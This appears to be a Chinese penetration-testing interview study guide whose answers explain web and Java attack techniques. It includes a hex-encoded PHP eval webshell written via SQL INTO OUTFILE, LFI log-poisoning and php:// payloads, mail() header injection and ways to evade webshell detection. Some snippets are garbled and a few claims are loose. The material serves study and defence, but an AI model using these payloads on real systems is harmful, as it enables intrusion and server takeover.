网络安全领域各种资源,学习文档,以及工具分享、前沿信息分享、POC、EXP分享。不定期分享各种好玩的项目及好用的工具,欢迎关注。
目录
2025年渗透测试面试题总结-拷打题库20
1. SQL注入漏洞成因、防范、注入方式及利用扩展
2. 通过SQL注入写Webshell
3. XSS漏洞种类及DOM型与反射型区别
4. 找回密码逻辑漏洞及防御
5. OAuth认证漏洞及风险
6. CSP配置与绕过
7. LFI无文件上传利用方式
8. XXE漏洞原理及利用
9. PHP Phar反序列化利用
10. 绕过disable_function限制
11. 文件上传%00截断及修复
12. 绕过Webshell检测
13. PHP伪协议攻击场景
14. mail函数攻击面
15. 无字符构造Webshell
16. ClassLoader与自定义加载
17. CommonCollections1利用链及限制
18. Fastjson与原生反序列化区别
19. Tomcat内存马及持久化
20. Shiro反序列化漏洞原理
21. 冰蝎联动Cobalt Strike
22. serialVersionUID作用
23. 常用扫描器及特点
24. HIDS设计要点
25. Python迭代器、生成器、装饰器
2025年渗透测试面试题总结-拷打题库20
介绍 SQL注入漏洞成因,如何防范?注入方式有哪些?除了拖取数据库数据,利用方式还有哪些? 如何通过sql注入写shell 介绍一下XSS漏洞的种类,dom型XSS和反射XSS的区别是什么? 如何防范 XSS 漏洞,在前端如何做,在后端如何做,哪里更好,为什么? 讲述一下找回密码可能涉及的逻辑漏洞 假设你是甲方的一名安全工程师,应该如何降低逻辑漏洞的出现率? oauth认证过程中可能会出现什么问题,导致什么样的漏洞? CSP应该如何使用及配置,有哪些绕过CSP的方式 已知某网站存在LFI(本地文件包含),但是无法上传任何文件,针对该情况有哪些利用方式? 简述一下XXE漏洞产生的原理,针对PHP和JAVA,XXE分别可以进行哪些恶意利用? PHP中如何使用phar://伪协议触发反序列化,利用场景以及前提条件有哪些? 如何绕过php.ini中disable_function的限制,有哪些方法,其中成功率最高的方法是哪个,为什么? 文件上传中%00截断的原理是什么,官方是如何设计修复方案的? 实现一个一句话webshell,绕过RASP的方式有哪些,绕过机器学习检测的方式有哪些,绕过AST-Tree的方式有哪些 PHP伪协议的攻击场景有哪些? mail函数的攻击面有哪些? 如何不通过数字以及字符构造webshell,其原理是什么,此类特性还会造成什么安全问题? ClassLoader是什么? 加载自定义ClassLoader的前提是什么? 大概讲一下CommonCollections1的利用链,该利用链有什么样的限制? fastjson的反序列化和原生反序列化漏洞的区别是什么? 在tomcat中实现内存马有哪些方式,有办法实现重启之后依然不会消失的内存马吗? 单向代码执行链如何实现执行多条语句,如CommonCollections1 请简单讲述一下Shiro反序列化漏洞的原理,无法使用ysoerial中common-collections利用链的原因是什么? 冰蝎当中通过Java联动Cobalt Strike上线的原理是什么? serialVersionUID 在反序列化中的作用是什么? 简要介绍自己常用的扫描器和其实现上的特点 如果让你设计一个HIDS,应该如何设计 介绍一下Python中的迭代器、生成器、装饰器 介绍自己常用的python库 讲一讲celery的特点以及原理
1. SQL注入漏洞成因、防范、注入方式及利用扩展
成因:
用户输入未经处理直接拼接到SQL语句中,导致攻击者通过构造恶意输入改变原语句逻辑。例如:sqlSELECT * FROM users WHERE username = 'admin' OR 1=1 --' AND password = '...'
防范措施:
- 参数化查询(Prepared Statements):分离代码与数据(如Java的
PreparedStatement
)。- 输入过滤:过滤特殊字符(如单引号、分号)。
- 最小权限原则:数据库账号仅授予必要权限(禁用
FILE
、EXECUTE
等)。- WAF防护:通过规则拦截常见注入特征(如
UNION SELECT
)。注入方式:
- 联合查询注入(UNION SELECT)
- 报错注入(利用
extractvalue()
触发错误回显)- 布尔盲注(通过页面响应判断条件真假)
- 时间盲注(利用
SLEEP()
函数延迟响应)其他利用方式:
- 写Webshell:需
FILE
权限,利用SELECT '' INTO OUTFILE '/var/www/shell.php'
。- SSRF攻击:通过数据库功能(如MySQL的
LOAD_FILE()
)读取内网文件。- 权限提升:利用数据库存储过程(如MSSQL的
xp_cmdshell
)执行系统命令。
2. 通过SQL注入写Webshell
条件:
- 数据库用户具有
FILE
权限。- 已知Web目录绝对路径(如通过报错信息泄露)。
- 目标目录可写。
步骤:
sqlUNION SELECT "", NULL INTO OUTFILE '/var/www/html/shell.php'
注意:若存在过滤,可采用Hex编码绕过:
sqlUNION SELECT 0x3C3F70687020406576616C28245F504F53545B27636D64275D293B3F3E, NULL INTO OUTFILE '/var/www/shell.php'
3. XSS漏洞种类及DOM型与反射型区别
种类:
- 存储型XSS:恶意脚本持久化存储(如评论区)。
- 反射型XSS:输入通过URL参数反射回页面(如搜索框)。
- DOM型XSS:客户端JavaScript操作DOM时触发,不依赖服务端解析。
DOM型 vs 反射型:
维度 DOM型XSS 反射型XSS 触发位置 客户端JavaScript处理URL片段 服务端返回用户输入到页面 数据流 不经过服务端 需服务端反射输入 检测难度 需动态分析JS代码 可通过静态扫描发现 防御措施:
- 前端:对输出内容转义(如
innerText
替代innerHTML
),启用CSP。- 后端:输入过滤(如过滤
),输出编码(如HTML Entity)。
- 更优方案:后端过滤更可靠,因前端可被绕过(如禁用JS或修改DOM)。
4. 找回密码逻辑漏洞及防御
常见漏洞:
- 密码重置令牌泄露:令牌未绑定用户或未设置有效期。
- 邮箱/手机号篡改:未验证用户与接收者的绑定关系。
- 暴力破解验证码:未限制尝试次数或复杂度不足。
防御方法(甲方视角):
- 代码审计:检查密码重置流程的逻辑完整性。
- 威胁建模:使用STRIDE模型识别潜在风险。
- 自动化测试:通过工具(如Burp Suite)模拟攻击场景。
5. OAuth认证漏洞及风险
常见问题:
- 重定向URI未校验:攻击者伪造回调地址窃取授权码。
- 授权码注入:窃取授权码后申请令牌。
- Scope权限过广:获取非必要权限(如用户隐私数据)。
漏洞案例:
攻击者构造恶意应用,诱导用户授权后,将令牌发送至攻击者服务器。
6. CSP配置与绕过
配置示例:
httpContent-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-inline' cdn.example.com; img-src *;
绕过方式:
- JSONP绕过:利用允许的域名加载恶意JS(如
)。
- Base64编码:内联脚本通过
data:
协议执行(需策略允许)。- CSP策略缺失:未限制
object-src
导致Flash漏洞。
7. LFI无文件上传利用方式
利用场景:
- 包含日志文件:通过User-Agent注入PHP代码,包含
/var/log/apache2/access.log
。- PHP伪协议:利用
php://filter/convert.base64-encode/resource=index.php
读取源码。- /proc目录:读取
/proc/self/environ
获取环境变量(如数据库密码)。
8. XXE漏洞原理及利用
原理:XML解析器允许外部实体引用,导致文件读取/SSRF。
- PHP利用:
xml]>
&xxe; - Java利用:
通过http://
实体触发SSRF或利用jar://
协议执行代码。防御:禁用外部实体(如PHP的
libxml_disable_entity_loader(true)
)。
9. PHP Phar反序列化利用
触发条件:
- 存在
phar://
协议的文件操作(如file_exists()
)。- 存在可利用的POP链(如类
__destruct()
方法有危险操作)。利用步骤:
- 构造恶意Phar文件(包含序列化对象)。
- 触发Phar反序列化(如
file_get_contents('phar://test.phar')
)。
10. 绕过disable_function限制
方法:
- LD_PRELOAD:通过劫持
putenv()
加载恶意.so文件。- FFI扩展:直接调用C函数执行命令(需PHP 7.4+)。
- ImageMagick:利用图像处理漏洞(如GhostScript漏洞)。
成功率最高:LD_PRELOAD(若未禁用
putenv
和mail()
函数)。
11. 文件上传%00截断及修复
原理:利用C语言字符串终止符(
%00
)截断后续路径。
- 示例:
filename="shell.php%00.jpg"
→ 保存为shell.php
。修复:PHP 5.3.4后修复,
magic_quotes_gpc
或手动过滤空字符。
12. 绕过Webshell检测
绕过方式:
- RASP:反射调用+动态类加载(如
Class.forName()
)。- 机器学习:混淆代码(如Unicode编码、插入垃圾字符)。
- AST-Tree:使用冷门语法(如
eval("\\x65cho 1;")
)。
13. PHP伪协议攻击场景
- 文件包含:
include($_GET['file'])
→php://input
执行POST代码。- 源码泄露:
php://filter/read=convert.base64-encode/resource=index.php
。- 反序列化:通过
phar://
触发。
14. mail函数攻击面
- 参数注入:
mail("user", "subject", "message", "From: attacker@example.com\nCC: victim@target.org")
添加恶意头。- 命令执行:若第五参数(
additional_params
)可控,可能注入-X
执行代码。
15. 无字符构造Webshell
方法:利用JSFuck编码(仅用
[]()!+
字符):javascript[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]]((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+(![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]]+[+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]])()
安全问题:代码混淆绕过检测,难以静态分析。
16. ClassLoader与自定义加载
ClassLoader:Java中负责动态加载类的机制(如
URLClassLoader
)。
前提条件:
- 未启用SecurityManager或策略允许自定义类加载。
- 可控制类加载路径(如从远程URL加载)。
17. CommonCollections1利用链及限制
利用链:
InvokerTransformer.transform()
→ChainedTransformer
链式调用 →Runtime.exec()
。限制:
- 目标环境中存在Commons-Collections 3.1-3.2.1版本。
- 反序列化入口点(如
readObject()
方法)。- 安全防护(如RASP检测恶意反射)。
18. Fastjson与原生反序列化区别
维度 Fastjson 原生反序列化 触发方式 通过特定JSON结构触发Setter 直接调用 readObject()
利用链 依赖AutoType特性 依赖默认 ObjectInputStream
修复难度 需关闭AutoType或白名单 需替换为安全反序列化方式
19. Tomcat内存马及持久化
实现方式:
- Filter型内存马:动态注册恶意Filter拦截请求。
- Servlet型内存马:添加Servlet映射到特定路径。
- Listener型内存马:通过事件监听执行代码。
持久化:通过写入
web.xml
或利用JDBC驱动加载(需重启后仍加载)。
20. Shiro反序列化漏洞原理
原理:Shiro使用硬编码密钥加密Cookie,攻击者伪造RememberMe字段触发反序列化。
无法使用Commons-Collections原因:Shiro 1.2.5+使用不同密钥或目标环境无对应依赖。
21. 冰蝎联动Cobalt Strike
原理:冰蝎通过Java反射加载CS生成的Beacon Jar,建立反向HTTP/HTTPS连接。
22. serialVersionUID作用
作用:验证序列化对象版本一致性,防止反序列化时类不兼容。
23. 常用扫描器及特点
- Nmap:网络发现与端口扫描,支持自定义脚本(NSE)。
- Burp Suite:代理拦截+漏洞扫描,支持插件扩展(如Collaborator)。
- Sqlmap:自动化SQL注入,支持多参数类型和绕过技术。
24. HIDS设计要点
- 数据采集:监控进程、文件、网络连接(如eBPF技术)。
- 行为分析:基线学习(正常行为模型)+异常检测。
- 响应机制:自动隔离恶意进程或阻断高危操作。
25. Python迭代器、生成器、装饰器
迭代器:实现
__iter__()
和__next__()
的对象(如文件读取)。
生成器:使用yield
关键字惰性生成数据(节省内存)。
装饰器:函数包装器,增强功能(如@login_required
)。常用库:
- requests:HTTP请求(支持Session和代理)。
- scrapy:爬虫框架(异步处理+中间件扩展)。
- pandas:数据处理(DataFrame结构)。
Celery原理:基于消息队列(如RabbitMQ)分发异步任务,Worker执行并返回结果。